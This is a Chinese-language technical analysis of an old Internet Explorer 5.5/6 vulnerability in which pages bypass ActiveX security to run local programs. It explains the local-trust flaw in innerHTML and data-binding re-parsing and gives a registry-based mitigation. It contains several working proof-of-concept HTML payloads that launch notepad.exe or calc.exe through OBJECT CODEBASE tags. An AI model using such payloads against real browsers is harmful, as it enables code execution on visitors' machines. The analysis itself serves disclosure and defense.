?? 關于ie執行任意程序漏洞的深入分析.txt
字號:
關于IE執行任意程序漏洞的深入分析
關于IE執行任意程序漏洞的深入分析
目錄:
1. 漏洞回顧
2. 進一步追蹤
3. IE可本地執行任意命令分析
4. IE的ActiveX安全設置可被繞過分析
5. 擴展:擴展:IE的DHTML實現中關于html源碼再解析部分和IE的安全機制脫節
6. 臨時解決方法
7. 測試環境
8. 參考
9. 感謝
<1> 漏洞回顧
Bugtraq 3867描述了IE允許惡意網站在瀏覽其網頁的客戶機上執行任意程序。
如果你不了解該漏洞的信息請參閱:
http://magazine.nsfocus.com/detail.asp?id=1192
原文的示例簡化如下:
<HTML>
<SCRIPT LANGUAGE="JScript">
var oPopup = window.createPopup();
var oPopBody = oPopup.document.body;
html='<OBJECT ';
html+='CLASSID="CLSID:11111111-1111-1111-1111-111111111111"'
html+='CODEBASE="c:/windows/notepad.exe"></OBJECT>'
/* 注意:上面的notepad.exe的路徑請修改為你系統對應的路徑 */
oPopBody.innerHTML = html;
oPopup.show(290, 190, 200, 200, document.body);
</script>
</html>
在你的WEB服務器上創建如上一個html文件,然后打開IE鍵入該文件的URL,那么
在你的機器上會打開一個記事本(對IE6和5.5有效)。原文認為其原理為:當使用
window.PoPup()或window.Open()調用創建一個新對象時,如果對象的CODEBASE
值指向一個客戶機上的可執行程序時,程序就會被執行。個人認為其描述沒有抓住漏
洞的本質。
<2> 進一步追蹤
如果你把html文件內容修改如下:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
/* 注意:上面的notepad.exe的路徑請修改為你系統對應的路徑 */
document.body.innerHTML=html;
</SCRIPT>
你再訪問該URL時你會發現兩次效果相同,同時你能看到我們的文件中沒有window
.createPopup也沒有window.open,很明顯以前的描述并不準確。漏洞的真實面紗
還未顯現。
其實,這段代碼幕后隱含的問題遠遠沒有代碼本身看起來那樣簡單,其內部包含了
IE的兩個bug:
1) IE可本地執行任意命令。
2) IE的ActiveX安全設置可被繞過。
<3> BUG1: IE可本地執行任意命令
相信你已經看到了上述代碼里核心的一段是:
<OBJECT
CLASSID="CLSID:12345678"
CODEBASE="c:/windows/notepad.exe">
</OBJECT>
寫一個test.html,放入以上內容,然后雙擊用IE打開此html文件,記事本被
打開。
如果你是一個已經使用過IE調用ActiveX控件的話那么以下文字是在浪費你的
時間,建議你跳過 :)
在IE中<object>標簽其實就是引用一個ActiveX控件,具體的控件以ID號對應,
如媒體播放器控件號: 22D6f312-B0F6-11D0-94AB-0080C74C7E95,執行命名
控件:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B等。這些控件中部分是系統提
供的,也有安裝一些軟件時這些軟件中提供的如安裝Office后系統中就會多很多控
件,還有就是用戶自己提供的(想更多的了解ActiveX知識網上有很多資料)。
當IE看到一個<object>引用時首先根據CLASSID在系統中查找該控件,如果沒
有找到,那么就認為系統目前還沒有安裝改控件,然后根據codebase去試圖下載
并安裝該控件,當然試圖下載并安裝控件這個過程受到IE安全設置的限制。
在通常情況下IE對控件的管理能很好的工作,如你能在頁面上看電影,能在頁面
上看Flash等。當你還沒有安裝Flash播放軟件而瀏覽一個帶Flash的網頁時IE
會提示你是否安裝Flash播放器,如果你要安裝,那么IE就根據codebase去下載
并安裝Flash播放器,當然同時播放器會在系統中注冊其控件。
但在特殊情況下IE卻開始犯毛病了,如我們的上述代碼,我們給IE指定了一個系統
中并不存在的控件號,此時IE會試圖從codebase指定的地址去下載并安裝改控件。
根據codebase于是IE找到了c:/windows/notepad.exe接著IE“下載”并安裝該程序
。這個動作中的下載就是copy該文件到IE使用的"Downloaded Program Files"目
錄下,然后開始"安裝"該控件,我們的是EXE文件其實就是運行該文件,所以當然就彈
出了文本編輯器!當然在此過程中還有很多復雜的動作:檢測ID號是否正確、檢測系統注冊表中是否有 該控件、檢測已經下載的文件目錄中是否已經下載該文件、"下載"文件到Downloaded Program Files目錄 命名為set????.tmp、rename該tmp文件為
原文件名、檢查文件類型并作相應”安裝“動作“等。
那么為什么IE在這個“下載安裝控件”過程中不提示用戶,也不應用IE安全設置中的限定進行檢測? 主要原因是IE安全設置中的設置都是針對非本地的頁面或交互的。對于本地的安全設置IE是最大信任 的。如果你注意看IE的安全設置,他是對Internet
和Intranet上WEB服務器而言的,根本就沒有對本地文件的安全設置。
概括說來就是由于我們的頁面在本地,又是通過雙擊打開的即IE解釋的是本地文件,而同時”下 載“的控件--"c:/windows/notepad.exe"--也是在本地系統上的,也就是這兩個過程都是本地的,那 么IE的安全設置均無效__本地最大信任嘛。
<4> Bug2: IE的ActiveX安全設置可被繞過分析
如果你把test.html的codebase改為" http://ip/notepad.exe ",(ip對應你
的web服務器IP地址)并且在相應位置放一個notepad.exe,然后雙擊用IE打開
test.html,你會發現IE給出警告框。這是因為你試圖下載的控件在Internet或
Intranet上,IE安全設置生效。
如果你把test.html不作任何修改(即codebase仍為c:/windows/notepad.exe)
放到你的web服務器上,然后用IE訪問,此時你發現IE仍給出警告框。這是由于你的頁面是來自非本地 的受到IE安全設置的限制。
那么這段代碼:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
document.body.innerHTML=html;
</SCRIPT>
放到你的網站上又是如何做到讓你訪問時運行記事本程序,而沒有受IE安全設置限
制呢?
從上面的分析我們已經知道如果能做到本地頁面,codebase又是本地文件就能受最
大信任。我們本來的目的就是運行本地程序,codebase當然指向本地,兩個條件中已
經滿足一個了,還有一個就是如何讓IE認為頁面是本地頁面!因為你的頁面肯定不是
本地頁面,是IE從網站上下回來的,按理說是不可能作到這一點的,但這卻又真的發
生了,我們知道DHTML中很多對象都有一個innerHTML屬性,通過修改某對象的
innerHTML值就相當于修改該對象的html代碼。修改innerHTML就能修改頁面本身,
修改后IE將重新解釋修改的部分,而IE5.5/IE6卻在解釋innerHTML的賦值時認為這
是一個本地動作,因為賦值操作是在頁面下回來后進行的,IE認為這段代碼是本地代
碼!!于是不該發生的一切就這樣發生了。
上面的那段代碼在IE下載頁面時HTML中沒有<object>,里面的"<object>"屬于
一個字符串而已,但下載回來后進行解釋時自己對自己的頁面進行了一個賦值,賦值
完成后這個頁面的HTML代碼就是:
<OBJECT
CLASSID="CLSID:12345678"
CODEBASE="c:/windows/notepad.exe">
</OBJECT>
修改了整個頁面的代碼。賦值完成后IE重新解釋頁面。于是你就看到了記事本。
當然你也可以把那段代碼改寫為:
<body><div id=test ></div></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
test.innerHTML=html;
</SCRIPT>
<5> 擴展:IE的DHTML實現中關于html源碼再解析部分和IE的安全機制脫節
通過上面分析現在我們已經知道IE對向innerHTML賦值后再次解釋時使用了
本地權限,使得其安全策略失效,innerHTML賦值屬于動態頁面修改的范疇,
那么是否IE對于整個動態頁面修改的實現上都有問題呢?
我們寫如下代碼(test.html)測試一下:
<body><div id='test'></div></body>
<SCRIPT language=JScript>
test.insertAdjacentHTML("afterEnd","<OBJECT CLASSID='CLSID:
12345678' CODEBASE='c:/windows/notepad.exe' ></OBJECT>");
</SCRIPT>
將這個頁面本地雙擊打開,我們看到記事本出來了,同樣放到網上,通過IE
連接相關URL打開記事本也被打開,可見IE在整個html再次分析時都有問題。
其他跟動態頁面修改的方法還有insertAdjacentElement、動態數據綁定等。
但經測試createElement(htmlStr)不受再次解釋問題影響。
動態頁面修改不使用script仍然有很多方法,主要是通過動態數據綁定。
舉例來說有:
方法一: 使用數據操作控件
寫一HTML文件test.html,內容如下:
<object id=test classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">
<param name="DataURL" value="test.txt">
<param name="UseHeader" value="true">
</object>
<table datasrc=#test>
<tr>
<td><div datafld="contex" dataformatas="html"></div></td>
</tr>
</table>
再寫一個文件test.txt,內容如下: (兩行,請修改notepad.exe的位置和你一致)
contex<OBJECT CLASSID='CLSID:12345678' CODEBASE='c:/win98/notepad.exe'></OBJECT>
將這兩個文件放到你的web服務器的根目錄下,然后通過IE訪問,你將發現記事本被打開,在這個 實現中我們沒有使用腳本!
說明:以上代碼依賴IE安裝時自帶安裝的動態數據處理控件,所以你的IE設置的
ActiveX 應該允許運行(默認情況下是允許的)。
方法二:使用xml,參考http://security.greymagic.com/adv/gm001-ie/提供的
方法是使用如下html文件實現:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
說明: 該代碼內沒有任何控件引用,所以你即使在安全設置中禁用ActiveX控件也能工作,原理一 樣。主要是新版的IE將xml解釋內置所以可直接不調用任何控件實現動態數據綁定,而綁定的數據作為 html解釋也就實現了動態html修改。
<6> 臨時解決方法
明白其原理后就有相應的解決方案了,對于第二個問題二次HTML解釋問題是IE程序實現上的問題 我們無能為力,我們能做的就是堵住ActiveX的下載安裝。
如果是2k/xp可通過一些權限設置來堵住其”下載安裝“這一步,但常會伴隨副作用。主要是對 Downloaded Program Files目錄設置不可執行,不可寫等權限。
同時我們看到,二次解釋后的代碼得到的是本地計算機的權限,那么我們可以對IE本地進行權限設 置,禁止本地代碼下載ActiveX控件也可以得到相應的效果。
但是我們如何對本地權限設置呢?IE的安全設置里只有Internet、本地Intranet、
受限制的站點、受信任的站點的設置,沒有對本機的設置!
根據scz的分析:注冊表中
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
InternetSettings\Zones\]下有5項,后面的1,2,3,4對應就是你在IE安全設置中看到
的4項,第一個0就是本地計算機,默認看不到,如果把0\Flags值修改為十六進制的47那么你就能發現IE 的安全設置中多了一項“我的電腦”。這就是我們苦苦追尋的IE本地權限的控制中心!!!
好了,現在到IE安全設置中\我的電腦\下禁用ActiveX下載就一切OK了。不就是IE的問題導致網上的 HTML代碼能取得本地代碼權限,然后本地代碼再下載ActiveX,而IE默認本地代碼最大信任,有權下載 控件才造成這一系列的問題嗎?現在得到本地權限也不能下載ActiveX了,呵呵世界清凈了!
<7> 測試環境
IE6 pwin98 & NT4(sp6) 受影響
IE5.5(sp2) win2k(sp2) 受影響
IE5 win2k(sp2) 不受影響
WEB服務器用的是https。
理論上所有IE都會有第一個問題。
<8> 參考資料
http://www.liquidwd.freeserve.co.uk/
http://magazine.nsfocus.com/detail.asp?id=1192
http://msdn.microsoft.com/library/default.asp?url=/workshop/entry.asp
http://security.greymagic.com/adv/gm001-ie/
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -